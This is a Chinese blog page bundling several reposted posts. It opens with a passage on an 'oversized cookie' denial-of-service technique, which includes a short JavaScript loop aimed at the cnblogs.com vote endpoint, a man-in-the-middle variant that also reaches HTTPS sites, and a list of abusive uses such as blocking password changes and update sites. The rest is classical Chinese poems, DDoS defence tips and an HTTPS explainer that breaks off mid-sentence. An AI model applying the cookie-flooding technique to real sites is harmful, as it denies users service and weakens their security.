进阶 根据这个原理,我们继续挖掘 Cookie 的相关属性,让攻击效果变得更好。 ### expires Cookie 之所以能被持久储存,完全得益于 `expires 这个过期值。` 理论上,Cookie 的过期时间可以足够长。不过鉴于实际情况,最多也就几个月的时间。 但对于互联网来说,这也非常长了,谁能容忍一个网站几个月没法用? 所以,我们可以设置足够久的过期时间 —— 只要用户不主动清空 Cookie,相应的站点就一直没法访问! * * * ### domain 例如博客园,所有用户都在 www.cnblogs.com 下。除了这个主站,能否将其他的子站服务也一起破坏呢? 答案是可以!因为 Cookie 具有一个特殊的属性 `domain,它允许子站设置上级站点的 Cookie。甚至可以是根域!` 于是 www.cnblogs.com 的页面,就能写入超大 Cookie 到 cnblogs.com 域下了。 未来,只要用户访问 *.cnblogs.com 的资源,统统变成 400 了。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0b17606813_6941baebgw1ess0rube7oj20lt0fb41m.jpg) 这个特征可被利用到 XSS 攻击上。只要某网站任何一个子站能够运行跨站脚本,攻击者就可以对该网站进行全站屏蔽了!(GFW:比我还狠~) * * * ### path 不过太霸道也是不好的。尤其是这年头大家都懂些网络知识,清缓存这样简单的事,不少小白用户都会尝试下。 所以,为了低调起见,我们不对页面进行屏蔽,以免被过早被用户发现。 我们只屏蔽特殊的 URL,例如 AJAX 请求接口。这样,页面仍能正常打开,只是后期的一些操作总是提示失败 —— 于是,用户大多会认为是网站出问题了,而不会怀疑是自己的原因。 为了能更精确的控制 Cookie 粒度,`path 属性得利用起来。例如,我们只污染博客园的 /mvc/vote/VoteComment.aspx 页面:` for (i = 0; i < 20; i++) { document.cookie = i + '=' + 'X'.repeat(2000) + ';domain=cnblogs.com; path=/mvc/vote/VoteComment.aspx' 这样,页面仍能正常浏览,只是把『点赞』功能给屏蔽了: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e7e459ac59_6941baebgw1ess0ru3f8jj208m06omxi.jpg) 是不是很有趣:) 这种局部屏蔽的效果,显然有更好的迷惑性。 * * * ### 协议 仔细回顾一遍 Cookie 属性,除了 `secure,再没和 URL Scheme 相关的属性了。` 这意味着,HTTP 和 HTTPS 的 Cookie 默认都是共享的。因此,我们可以在 HTTP 下屏蔽 HTTPS 站点了! 不过 XSS 也不是也想有就能有的,但在特殊的条件下,任何站点都可以有 XSS —— 那就是流量被劫持的时候。 当用户流量被劫持时,中间人可以模拟出任何 HTTP 站点,因此就能对任意站点设置 Cookie: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4fd108b9fe_6941baebgw1ess0rt5zbpj20ba04gq3b.jpg) 当用户打开任意 HTTP 页面时,往其中注入脚本。接着悄悄创建目标站点的隐藏框架页,中间人返回特定的页面内容,其中的脚本即可修改目标站点 Cookie 了。 下面就来尝试一下吧。 通过代理,我们模拟流量被劫持的场景。当打开任意页面时,开始对目标站点释放 DeBuff: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4fd108b9fe_6941baebgw1ess0rsr8a6j20o60kvtcr.jpg) 主页面的实现: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7ff485b69d_6941baebgw1ess0rs1o8oj20o60hwmzd.jpg) 目标框架页实现: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7ff485b69d_6941baebgw1ess0rrg275j20o60hwmzb.jpg) 通过一堆框架页,即可批量对目标站点的 Cookie 进行修改。 最后,切换回正常网络 —— 发现邪恶光环仍在生效: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7ff485b69d_6941baebgw1ess0rqugiej20o60hw42t.jpg) 更杯具的是,连加密传输的 HTTPS 站点也未能幸免: ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/70e304bb88_6941baebgw1ess0rq90vcj20o60hwgnz.jpg) 中间人缓存攻击,又多了一种新玩法! ## 用途 或许你要说了,这除了恶作剧恶搞之外,有实际意义吗。 不过,只要充分发挥想象,还是能玩出一些有趣的效果。例如配合 XSS: * 屏蔽资料修改页面,阻止用户改密码 * 屏蔽注销接口,保持用户会话不过期 * 屏蔽管理后台,让管理员暂时无法操作(XSS 盲打时,对管理员造成眩晕效果,持续时间视管理员 IQ 而定) 或者流量劫持的场合: * 屏蔽前端检测脚本,降低用户安全性 * 屏蔽程序、补丁的更新站点,等等 ## 小结 当然,这种所谓的『拒绝服务』,只是本地自欺欺人而已,对真实服务器并没什么影响。 虽然效果不及传统攻击,但这种方式显得更文明一些。只对部分人、甚至部分功能实施攻击,而完全不妨碍其他用户。 ### 相关文章 * [你的隐私安全吗:Cookie到底是什么?](http://blog.jobbole.com/36154/) * [浅谈CSRF攻击方式](http://blog.jobbole.com/23911/) * [细数黑客攻击的七大战术](http://blog.jobbole.com/49400/) * [如何做一个安全的“记住我”功能](http://blog.jobbole.com/46724/) * [密码提示很烦人!](http://blog.jobbole.com/60488/) * [取代cookie的网站追踪技术:”帆布指纹识别”初探](http://blog.jobbole.com/74461/) * [XSS 前端防火墙(4):天衣无缝的防护](http://blog.jobbole.com/71466/) * [HTTPS 部署简要指南](http://blog.jobbole.com/57704/) * [不用Cookie的“Cookie”技术](http://blog.jobbole.com/46266/) * [XSS 前端防火墙(3):无懈可击的钩子](http://blog.jobbole.com/71488/) [超大 Cookie 拒绝服务攻击](http://blog.jobbole.com/87394/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 钗头凤·红酥手 Date: 2015-06-01 URL: https://blog.wo.ai/archives/960 Categories: Chinese Poem, Poem & Reading **钗头凤·红酥手** 朝代:宋代 作者:陆游 红酥手,黄縢酒,满城春色宫墙柳。东风恶,欢情薄。一怀愁绪,几年离索。错、错、错。 春如旧,人空瘦,泪痕红浥鲛绡透。桃花落,闲池阁。山盟虽在,锦书难托。莫、莫、莫! 钗头凤 唐氏 世情薄,人情恶,雨送黄昏花易落;晓风干,泪痕残,欲笺心事,独语斜栏,难!难!难! 人成各,今非昨,病魂常似秋千索;角声寒,夜阑珊,怕人询问,咽泪装欢,瞒!瞒!瞒! 历史背景 陆游的原配夫人是同郡唐姓士族的一个大家闺秀唐氏(有人说唐氏即陆游的表妹唐琬)。结婚以后,他们“伉俪相得”,“琴瑟甚和”,是一对情投意和的恩爱夫妻。不料,作为婚姻包办人之一的陆母却对儿媳产生了厌恶感,逼迫陆游休弃唐氏。 在陆游百般劝谏、哀求而无效的情况下,二人终于被迫分离,唐氏改嫁“同郡宗子”赵士程,彼此之间也就音讯全无了。几年以后的一个春日,陆游在家乡山阴(今浙江省绍兴市)城南禹迹寺附近的沈园,与偕夫同游的唐氏邂逅相遇。唐氏安排酒肴,聊表对陆游的抚慰之情。陆游见人感事,心中感触很深,遂乘醉吟赋这首词,信笔题于园壁之上。 果真是情深不寿,归去后唐氏不久就忧郁而死,留下陆游怅叹一生、追忆一生。在唐氏逝去四十年后的时候,陆游重游故园,挥笔和泪作《沈园》诗: (其一) 城上斜阳画角哀, 沈园非复旧池台。 伤心桥下春波绿, 曾是惊鸿照影来。 (其二) 梦断香消四十年, 沈园柳老不吹绵。 此身行作稽山土, 犹吊遗踪一泫然! 到八十一岁时,这位孤独老人,还梦回沈园,写下:“城南小陌又逢春,只见梅花不见人。”直到离世前一年,陆游再度重游沈园,怀念唐氏,此情至死。 陆游一生以梅自喻,然而城南小陌的那株梅花难道不是他情系一生的唐氏吗?她心如日月、情比金坚,似一朵高洁的白梅,为情而落。这朵白梅,就落在陆游的心里,从此不再寂寞开无主,不再黄昏独自愁。就这样,为了一段承诺,他活到百发苍苍,只为守护那株清冷、冰洁的梅花。 参见:卜算子 咏梅 驿外断桥边,寂寞开无主。已是黄昏独自愁,更著风和雨。 无意苦争春,一任群芳妒。零落成泥碾作尘,只有香如故。 --- ## 桃夭(TAO YAO) peach blossom Date: 2015-05-28 URL: https://blog.wo.ai/archives/954 Categories: Chinese Poem, English, Poem & Reading 桃夭(TAOYAO) peach blossom [![2389215](/wp-content/uploads/2015/05/2389215-300x200.jpg)](/wp-content/uploads/2015/05/2389215.jpg)桃之夭夭 桃之夭夭,灼灼其华。之子于归,宜其室家。 tao zhi yaoyao, zhuozhuo qi hua. zhizi yugui, yi qi qhijia. 桃之夭夭,有蕡其实。之子于归,宜其家室。 tao zhi yaoyao, youfen2 qi shi. zhizi yugui, yi qi jiashi. 桃之夭夭,其叶蓁蓁。之子于归,宜其家人。 tao zhi yaoyao, qiye zhen1zhen. zhizi yugui, yi qi jiaren. [注释 Comment] 夭夭(yao yao): 桃花怒放的样子, blooming aspect of the peach blossom 灼灼(zhuozhuo): 花开得很茂盛,broomy flower 华(hua):花 ,same as 花(flower) 之子(zhizi):指出嫁的女子,the girl getting married 归(gui):女子出嫁,wedding,specially for a girl 宜(yi):和顺,和善, good for something 室家(shijia):指夫妇,the couple 蕡(fen): 果实肥硕的样子, fruitful,always represent a large family with many children. 蓁蓁(zhenzhen): 树叶繁盛的样子,flourishing leaves. 《孟子》:“丈夫生而愿为之有室,女子生而愿为之有家”,上指其夫,故专言家,下论夫妇之道,故兼言室家。 Meng said, A man is willing a home for Her, A woman is willing a family for Him. First line of the poem, indicates the man, talking about the home. Second and third line talk about the way of the couple. –王先谦《诗三家义集疏》 一场盛大的婚礼,一对璧玉的新人,在牵手走过红地毯的时候,唱响这一首歌曲,《桃夭》,在当年,或许就是我们今天的《婚礼进行曲》, 关于婚姻的一切,在这一刻得到了透彻的祝福。 –沈文婷《〈诗经〉是一枚月亮》 An image of the wedding ceremony, a new couple walk through the red carpet. _Taoyao_ , just like the nowaday’s _Wedding March,_ describes the wish to the new marriage. --- ## 防范 DDoS 攻击的 15 个方法 Date: 2015-05-14 URL: https://blog.wo.ai/archives/951 Categories: Uncategorized 为了对抗 DDoS(分布式拒绝服务)攻击,你需要对攻击时发生了什么有一个清楚的理解. 简单来讲,DDoS 攻击可以通过利用服务器上的漏洞,或者消耗服务器上的资源(例如 内存、硬盘等等)来达到目的。[DDoS 攻击主要要两大类: 带宽耗尽攻击和资源耗尽攻击](http://securitywing.com/10-major-types-of-ddos-attacks-and-prevention/). 为了有效遏制这两种类型的攻击,你可以按照下面列出的步骤来做: 1\. 如果只有几台计算机是攻击的来源,并且你已经确定了这些来源的 IP 地址, 你就在防火墙服务器上放置一份 [ACL(访问控制列表)](http://securitywing.com/access-control-list/) 来阻断这些来自这些 IP 的访问。如果可能的话 将 web 服务器的 IP 地址变更一段时间,但是如果攻击者通过查询你的 DNS 服务器解析到你新设定的 IP,那这一措施及不再有效了。 2\. 如果你确定攻击来自一个特定的国家,可以考虑将来自那个国家的 IP 阻断,至少要阻断一段时间. 3、监控进入的网络流量。通过这种方式可以知道谁在访问你的网络,可以监控到异常的访问者,可以在事后分析日志和来源IP。在进行大规模的攻击之前,攻击者可能会使用少量的攻击来测试你网络的健壮性。 4、对付带宽消耗型的攻击来说,最有效(也很昂贵)的解决方案是购买更多的带宽。 5、也可以使用高性能的负载均衡软件,使用多台服务器,并部署在不同的数据中心。 6、对web和其他资源使用负载均衡的同时,也使用相同的策略来保护DNS。 7、优化资源使用提高 web server 的负载能力。例如,使用 apache 可以安装 apachebooster 插件,该插件与 varnish 和 nginx 集成,可以应对突增的流量和内存占用。 8、使用高可扩展性的 DNS 设备来保护针对 DNS 的 DDOS 攻击。可以考虑购买 Cloudfair 的商业解决方案,它可以提供针对 DNS 或 TCP/IP3 到7层的 DDOS 攻击保护。 9、启用路由器或防火墙的反IP欺骗功能。在 CISCO 的 ASA 防火墙中配置该功能要比在路由器中更方便。在 ASDM(Cisco Adaptive Security Device Manager)中启用该功能只要点击“配置”中的“防火墙”,找到“anti-spoofing”然后点击启用即可。也可以在路由器中使用 ACL(access control list)来防止 IP 欺骗,先针对内网创建 ACL,然后应用到互联网的接口上。 10、使用第三方的服务来保护你的网站。有不少公司有这样的服务,提供高性能的基础网络设施帮你抵御拒绝服务攻击。你只需要按月支付几百美元费用就行。 11、注意服务器的安全配置,避免资源耗尽型的 DDOS 攻击。 12、听从专家的意见,针对攻击事先做好应对的应急方案。 13、监控网络和 web 的流量。如果有可能可以配置多个分析工具,例如:Statcounter 和 Google analytics,这样可以更直观了解到流量变化的模式,从中获取更多的信息。 14、保护好 DNS 避免 DNS 放大攻击。 15、在路由器上禁用 ICMP。仅在需要测试时开放 ICMP。在配置路由器时也考虑下面的策略:流控,包过滤,半连接超时,垃圾包丢弃,来源伪造的数据包丢弃,SYN 阀值,禁用 ICMP 和 UDP 广播。 最后多了解一些 DDOS 攻击的类型和手段,并针对每一种攻击制定应急方案。 ### 相关文章 * [DDoS攻防战(一):概述](http://blog.jobbole.com/72919/) * [DDoS攻防战(三):ip黑白名单防火墙frdev的原理与实现](http://blog.jobbole.com/72935/) * [魏兴国:深入浅出DDoS攻击防御](http://blog.jobbole.com/24698/) * [DDoS攻防战(二):CC攻击工具实现与防御理论](http://blog.jobbole.com/72928/) * [分布式拒绝服务攻击(DDoS)原理及防范](http://blog.jobbole.com/46846/) * [浅谈DDOS攻击攻击与防御](http://blog.jobbole.com/24342/) * [Web 前端攻防(2014版)](http://blog.jobbole.com/76068/) * [为什么文件上传表单是主要的安全威胁](http://blog.jobbole.com/48088/) * [大型网站的 HTTPS 实践(2):HTTPS 对性能的影响](http://blog.jobbole.com/86664/) * [HTTPS连接的前几毫秒发生了什么](http://blog.jobbole.com/48369/) [防范 DDoS 攻击的 15 个方法](http://blog.jobbole.com/86932/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## 大型网站的 HTTPS 实践(1):HTTPS 协议和原理 Date: 2015-05-05 URL: https://blog.wo.ai/archives/945 Categories: Uncategorized ### 1 前言 百度已经于近日上线了全站 HTTPS 的安全搜索,默认会将 HTTP 请求跳转成 HTTPS。本文重点介绍 HTTPS 协议, 并简单介绍部署全站 HTTPS 的意义。 ### 2 HTTPS 协议概述 HTTPS 可以认为是 HTTP + TLS。HTTP 协议大家耳熟能详了,目前大部分 WEB 应用和网站都是使用 HTTP 协议传输的。 TLS 是传输层加密协议,它的前身是 SSL 协议,最早由 netscape 公司于 1995 年发布,1999 年经过 IETF 讨论和规范后,改名为 TLS。如果没有特别说明,SSL 和 TLS 说的都是同一个协议。 HTTP 和 TLS 在协议层的位置以及 TLS 协议的组成如下图: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/94e9154c4b_6941baebjw1erta8232v9j20j40afjt9.jpg) 图 1 TLS 协议格式 TLS 协议主要有五部分:应用数据层协议,握手协议,报警协议,加密消息确认协议,心跳协议。 TLS 协议本身又是由 record 协议传输的,record 协议的格式如上图最右所示。 目前常用的 HTTP 协议是 HTTP1.1,常用的 TLS 协议版本有如下几个:TLS1.2, TLS1.1, TLS1.0 和 SSL3.0。其中 SSL3.0 由于 POODLE 攻击已经被证明不安全,但统计发现依然有不到 1% 的浏览器使用 SSL3.0。TLS1.0 也存在部分安全漏洞,比如 RC4 和 BEAST 攻击。 TLS1.2 和 TLS1.1 暂时没有已知的安全漏洞,比较安全,同时有大量扩展提升速度和性能,推荐大家使用。 需要关注一点的就是 TLS1.3 将会是 TLS 协议一个非常重大的改革。不管是安全性还是用户访问速度都会有质的提升。不过目前没有明确的发布时间。 同时 HTTP2 也已经正式定稿,这个由 SPDY 协议演化而来的协议相比 HTTP1.1 又是一个非常重大的变动,能够明显提升应用层数据的传输效率。 ### 3 HTTPS 功能介绍 百度使用 HTTPS 协议主要是为了保护用户隐私,防止流量劫持。 HTTP 本身是明文传输的,没有经过任何安全处理。例如用户在百度搜索了一个关键字,比如“苹果手机”,中间者完全能够查看到这个信息,并且有可能打电话过来骚扰用户。也有一些用户投诉使用百度时,发现首页或者结果页面浮了一个很长很大的广告,这也肯定是中间者往页面插的广告内容。如果劫持技术比较低劣的话,用户甚至无法访问百度。 这里提到的中间者主要指一些网络节点,是用户数据在浏览器和百度服务器中间传输必须要经过的节点。比如 WIFI 热点,路由器,防火墙,反向代理,缓存服务器等。 在 HTTP 协议下,中间者可以随意嗅探用户搜索内容,窃取隐私甚至篡改网页。不过 HTTPS 是这些劫持行为的克星,能够完全有效地防御。 总体来说,HTTPS 协议提供了三个强大的功能来对抗上述的劫持行为: 1, 内容加密。浏览器到百度服务器的内容都是以加密形式传输,中间者无法直接查看原始内容。 2, 身份认证。保证用户访问的是百度服务,即使被 DNS 劫持到了第三方站点,也会提醒用户没有访问百度服务,有可能被劫持 3, 数据完整性。防止内容被第三方冒充或者篡改。 那 HTTPS 是如何做到上述三点的呢?下面从原理角度介绍一下。 ### 4 HTTPS 原理介绍 #### 4.1 内容加密 加密算法一般分为两种,对称加密和非对称加密。所谓对称加密(也叫密钥加密)就是指加密和解密使用的是相同的密钥。而非对称加密(也叫公钥加密)就是指加密和解密使用了不同的密钥。 [![pic2](http://op.baidu.com/wp-content/uploads/2015/04/pic2.png)](http://op.baidu.com/wp-content/uploads/2015/04/pic2.png "大型网站的 HTTPS 实践(1):HTTPS 协议和原理") 图 2 对称加密 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e6030291aa_6941baebjw1erta82xii2j20zo08040t.jpg) 图 3 非对称加密 对称内容加密强度非常高,一般破解不了。但存在一个很大的问题就是无法安全地生成和保管密钥。假如客户端软件和服务器之间每次会话都使用固定的,相同的密钥加密和解密,肯定存在很大的安全隐患。如果有人从客户端端获取到了对称密钥,整个内容就不存在安全性了,而且管理海量的客户端密钥也是一件很复杂的事情。 非对称加密主要用于密钥交换(也叫密钥协商),能够很好地解决这个问题。浏览器和服务器每次新建会话时都使用非对称密钥交换算法协商出对称密钥,使用这些对称密钥完成应用数据的加解密和验证,整个会话过程中的密钥只在内存中生成和保存,而且每个会话的对称密钥都不相同(除非会话复用),中间者无法窃取。 非对称密钥交换很安全,但同时也是 HTTPS 性能和速度严重降低的“罪魁祸首”。想要知道 HTTPS 为什么影响速度,为什么消耗资源,就一定要理解非对称密钥交换的整个过程。 下面重点介绍一下非对称密钥交换的数学原理及在 TLS 握手过程中的应用。 #### 4.1.1 非对称密钥交换 在非对称密钥交换算法出现以前,对称加密一个很大的问题就是不知道如何安全生成和保管密钥。非对称密钥交换过程主要就是为了解决这个问题,使得对称密钥的生成和使用更加安全。 密钥交换算法本身非常复杂,密钥交换过程涉及到随机数生成,模指数运算,空白补齐,加密,签名等操作。 常见的密钥交换算法有 RSA,ECDHE,DH,DHE 等算法。它们的特性如下: * RSA:算法实现简单,诞生于 1977 年,历史悠久,经过了长时间的破解测试,安全性高。缺点就是需要比较大的素数(目前常用的是 2048 位)来保证安全强度,很消耗 CPU 运算资源。RSA 是目前唯一一个既能用于密钥交换又能用于证书签名的算法。 * DH:diffie-hellman 密钥交换算法,诞生时间比较早(1977 年),但是 1999 年才公开。缺点是比较消耗 CPU 性能。 * ECDHE:使用椭圆曲线(ECC)的 DH 算法,优点是能用较小的素数(256 位)实现 RSA 相同的安全等级。缺点是算法实现复杂,用于密钥交换的历史不长,没有经过长时间的安全攻击测试。 * ECDH:不支持 PFS,安全性低,同时无法实现 false start。 * DHE:不支持 ECC。非常消耗 CPU 资源。 建议优先支持 RSA 和 ECDH_RSA 密钥交换算法。原因是: 1, ECDHE 支持 ECC 加速,计算速度更快。支持 PFS,更加安全。支持 false start,用户访问速度更快。 2, 目前还有至少 20% 以上的客户端不支持 ECDHE,我们推荐使用 RSA 而不是 DH 或者 DHE,因为 DH 系列算法非常消耗 CPU(相当于要做两次 RSA 计算)。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e6030291aa_6941baebjw1erta81p2nkj208v0a43ze.jpg) 需要注意通常所说的 ECDHE 密钥交换默认都是指 ECDHE_RSA,使用 ECDHE 生成 DH 算法所需的公私钥,然后使用 RSA 算法进行签名最后再计算得出对称密钥。 非对称加密相比对称加密更加安全,但也存在两个明显缺点: 1, CPU 计算资源消耗非常大。一次完全 TLS 握手,密钥交换时的非对称解密计算量占整个握手过程的 90% 以上。而对称加密的计算量只相当于非对称加密的 0.1%,如果应用层数据也使用非对称加解密,性能开销太大,无法承受。 2, 非对称加密算法对加密内容的长度有限制,不能超过公钥长度。比如现在常用的公钥长度是 2048 位,意味着待加密内容不能超过 256 个字节。 所以公钥加密目前只能用来作密钥交换或者内容签名,不适合用来做应用层传输内容的加解密。 非对称密钥交换算法是整个 HTTPS 得以安全的基石,充分理解非对称密钥交换算法是理解 HTTPS 协议和功能的关键。 下面分别通俗地介绍一下 RSA 和 ECDHE 在密钥交换过程中的应用。 #### 4.1.1.1 RSA 密钥协商 #### 4.1.1.1.1 RSA 算法介绍 RSA 算法的安全性是建立在乘法不可逆或者大数因子很难分解的基础上。RSA 的推导和实现涉及到了欧拉函数和费马定理及模反元素的概念,有兴趣的读者可以自行百度。 RSA 算法是统治世界的最重要算法之一,而且从目前来看,RSA 也是 HTTPS 体系中最重要的算法,没有之一。 RSA 的计算步骤如下: 1, 随机挑选两个质数 p, q,假设 p = 13, q = 19。 n = p * q = 13 * 19 = 247; 2, ∅(n) 表示与整数 n 互质数的个数。如果 n 等于两个质数的积,则∅(n)=(p-1)(q-1) 挑选一个数 e,满足 1< e <∅(n) 并且 e 与互质,假设 e = 17; 3, 计算 e 关于 n 的模反元素, ed=1 mod ∅(n) , 由 e = 17 ,∅(n) =216 可得 d = 89; 4, 求出了 e,和 d,假设明文 m = 135,密文用 c 表示。那么加解密计算如下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e6030291aa_6941baebjw1erta82iq7qj20d509hgm8.jpg) 实际应用中,(n,e) 组成了公钥对,(n,d)组成了私钥对,其中 n 和 d 都是一个接近 22048的大数。即使现在性能很强的 CPU,想要计算 m≡c^d mod(n),也需要消耗比较大的计算资源和时间。 公钥对 (n, e) 一般都注册到了证书里,任何人都能直接查看,比如百度证书的公钥对如下图,其中最末 6 个数字(010001)换算成 10 进制就是 65537,也就是公钥对中的 e。e 取值比较小的好处有两个: 1, 由 c=m^e mod(n) 可知,e 较小,客户端 CPU 计算消耗的资源较少。 2, 加大 server 端的破解难度。e 比较小,私钥对中的 d 必然会非常大。所以 d 的取值空间也就非常大,增加了破解难度。 那为什么 (n,e) 能做为公钥公开,甚至大家都能直接从证书中查看到,这样安全吗?分析如下: 由于 ed≡1 mod ∅(n),知道了 e 和 n,想要求出私钥 d,就必须知道∅(n)。而∅(n)=(p-1)*(q-1),必须计算出 p 和 q 才能确定私钥 d。但是当 n 大到一定程度时(比如接近 2^2048),即使现在最快的 CPU 也无法进行这个因式分解,即无法知道 n 是由哪个数 p 和 q 乘出来的。所以就算知道了公钥,整个加解密过程还是非常安全的。 ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c168eeeca6_6941baebjw1erta81eqmxj20cf0eygoh.jpg) 图 5 百度 HTTPS 证书公钥 #### 4.1.1.1.2 握手过程中的 RSA 密钥协商 介绍完了 RSA 的原理,那最终会话所需要的对称密钥是如何生成的呢?跟 RSA 有什么关系? 以 TLS1.2 为例简单描述一下,省略跟密钥交换无关的握手消息。过程如下: 1, 浏览器发送 client_hello,包含一个随机数 random1。 2, 服务端回复 server_hello,包含一个随机数 random2,同时回复 certificate,携带了证书公钥 P。 3, 浏览器接收到 random2 之后就能够生成 premaster_secrect 以及 master_secrect。其中 premaster_secret 长度为 48 个字节,前 2 个字节是协议版本号,剩下的 46 个字节填充一个随机数。结构如下: Struct {byte Version[2];bute random[46];} master secrect 的生成算法简述如下: Master_key = PRF(premaster_secret, “master secrect”, 随机数1+随机数2)其中 PRF 是一个随机函数,定义如下:PRF(secret, label, seed) = P_MD5(S1, label + seed) XOR P_SHA-1(S2, label + seed) 而 master secrect 包含了六部分内容,分别是用于校验内容一致性的密钥,用于对称内容加解密的密钥,以及初始化向量(用于 CBC 模式),客户端和服务端各一份。从上式可以看出,把 premaster_key 赋值给 secret,”master key”赋值给 label,浏览器和服务器端的两个随机数做种子就能确定地求出一个 48 位长的随机数。 至此,浏览器侧的密钥已经完成协商。 4, 浏览器使用证书公钥 P 将 premaster_secrect 加密后发送给服务器。 5, 服务端使用私钥解密得到 premaster_secrect。又由于服务端之前就收到了随机数 1,所以服务端根据相同的生成算法,在相同的输入参数下,求出了相同的 master secrect。 RSA 密钥协商握手过程图示如下: ![](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e1630f62b7_6941baebjw1erta80zxylj20l80f0q44.jpg) 图 6 RSA 密钥协商过程 可以看出,密钥协商过程需要 2 个 RTT,这也是 HTTPS 慢的一个重要原因。而 RSA 发挥的关键作用就是对 premaster_secrect 进行了加密和解密。中间者不可能破解 RSA 算法,也就不可能知道 premaster_secrect,从而保证了密钥协商过程的安全性。 #### 4.1.1.2 ECDHE 密钥协商 #### 4.1.1.2.1 DH 与 ECC 算法原理 ECDHE 算法实现要复杂很多,主要分为两部分:diffie-hellman 算法(简称为 DH)及 ECC(椭圆曲线算术)。他们的安全性都是建立在离散对数计算很困难的基础上。 简单介绍一下 dh 算法的实现,先介绍两个基本概念: * 本原根:如果整数 a 是素数 p 的本原根,则 a, a^2, …, a^(p-1) 在 mod p 下都不相同。 * 离散对数:对任意整数 b 和素数 p 的本原根 a,存在唯一的指数 i 满足: b ≡ a^i mod p (0≤i≤p-1) 则称 i 是 b 的以 a 为底的模 p 的离散对数。 理解这两个概念,dh 算法就非常简单了,示例如下: 假设 client 和 server 需要协商密钥,p=2579,则本原根 a = 2。 1, Client 选择随机数 Kc = 123 做为自己的私钥,计算 Yc = a^Kc mod p = 2^123 mod 2579 = 2400,把 Yc 作为公钥发送给 server。 2, Server 选择随机数 Ks = 293 作为私钥,计算 Ys = a^Ks mod p = s^293 mod 2579 = 968,把 Ys 作为公钥发送给 client。 3, Client 计算共享密钥:secrect = Ys^Kc mod (p) = 968^123 mod(2579) = 434 4, Server 计算共享密钥:secrect = Yc^Ks mod(p) =2400^293 mod(2579) =434 上述公式中的 Ys,Yc,P, a, 都是公开信息,可以被中间者查看,只有 Ks,Kc 作为私钥没有公开,当私钥较小时,通过穷举攻击能够计算出共享密钥,但是当私钥非常大时,穷举攻击肯定是不可行的。 DH 算法有一个比较大的缺陷就是需要提供足够大的私钥来保证安全性,所以比较消耗 CPU 计算资源。ECC 椭圆曲线算术能够很好的解决这个问题,224 位的密钥长度就能达到 RSA2048 位的安全强度。 ECC 的曲线公式描述的其实不是椭圆,只是跟椭圆曲线周长公式形似才叫椭圆曲线加密算术。ECC 涉及到了有限域、群等近世代数的多个概念,就不做详细介绍了。 ECC 安全性依赖于这样一个事实: P = kQ, 已知 k, Q 求出 P 相对简单,但是已知 P 和 Q 求出 k 却非常困难。 上式看起来非常简单,但有如下约束条件: 1, Q 是一个非常大的质数,p, k, q 都是椭圆曲线有限域上的离散点。 2, 有限域定义了自己的加法和乘法法则,即使 kQ 的运算也非常复杂。 ECC 应用于 Diffie-Hellman 密钥交换过程如下: 1, 定义一个满足椭圆方程的有限域,即挑选 p, a, b 满足如下方程: y^2 mod p = (x^3+ax +b) mod p 2, 挑选基点 G = (x, y),G 的阶为 n。n 为满足 nG = 0 的最小正整数。 3, Client 选择私钥 Kc (0 。 简单概括 False start 的原理就是在 client_key_exchange 发出时将应用层数据一起发出来,能够节省一个 RTT。 False start 依赖于 PFS(perfect forward secrecy 完美前向加密),而 PFS 又依赖于 DHE 密钥交换系列算法(DHE_RSA, ECDHE_RSA, DHE_DSS, ECDHE_ECDSA),所以尽量优先支持 ECDHE 密钥交换算法实现 false start。 #### 2.6 使用 SPDY 或者 HTTP2 SPDY 是 google 推出的优化 HTTP 传输效率的协议(https://www.chromium.org/spdy),它基本上沿用了 HTTP 协议的语义, 但是通过使用帧控制实现了多个特性,显著提升了 HTTP 协议的传输效率。 SPDY 最大的特性就是多路复用,能将多个 HTTP 请求在同一个连接上一起发出去,不像目前的 HTTP 协议一样,只能串行地逐个发送请求。Pipeline 虽然支持多个请求一起发送,但是接收时依然得按照顺序接收,本质上无法解决并发的问题。 HTTP2 是 IETF 2015 年 2 月份通过的 HTTP 下一代协议,它以 SPDY 为原型,经过两年多的讨论和完善最终确定。 本文就不过多介绍 SPDY 和 HTTP2 的收益,需要说明两点: 1, SPDY 和 HTTP2 目前的实现默认使用 HTTPS 协议。 2, SPDY 和 HTTP2 都支持现有的 HTTP 语义和 API,对 WEB 应用几乎是透明的。 Google 宣布 chrome 浏览器 2016 年将放弃 SPDY 协议,全面支持 HTTP2,但是目前国内部分浏览器厂商进度非常慢,不仅不支持 HTTP2,连 SPDY 都没有支持过。 百度服务端和百度手机浏览器现在都已经支持 SPDY3.1 协议。 ### 3 HTTPS 计算性能优化 #### 3.1 优先使用 ECC ECC 椭圆加密算术相比普通的离散对数计算速度性能要强很多。下表是 NIST 推荐的密钥长度对照表。 对称密钥大小 | RSA 和 DH 密钥大小 | ECC 密钥大小 ---|---|--- 80 | 1024 | 160 112 | 2048 | 224 128 | 3072 | 256 192 | 7680 | 384 256 | 15360 | 521 表格 2 NIST 推荐使用的密钥长度 对于 RSA 算法来讲,目前至少使用 2048 位以上的密钥长度才能保证安全性。ECC 只需要使用 224 位长度的密钥就能实现 RSA2048 位长度的安全强度。在进行相同的模指数运算时速度显然要快很多。 #### 3.2 使用最新版的 openssl 一般来讲,新版的 openssl 相比老版的计算速度和安全性都会有提升。比如 openssl1.0.2 采用了 intel 最新的优化成果,椭圆曲线 p256 的计算性能提升了 4 倍。() Openssl 2014 年就升级了 5 次,基本都是为了修复实现上的 BUG 或者算法上的漏洞而升级的。所以尽量使用最新版本,避免安全上的风险。 #### 3.3 硬件加速方案 现在比较常用的 TLS 硬件加速方案主要有两种: 1, SSL 专用加速卡。 2, GPU SSL 加速。 上述两个方案的主流用法都是将硬件插入到服务器的 PCI 插槽中,由硬件完成最消耗性能的计算。但这样的方案有如下缺点: 1, 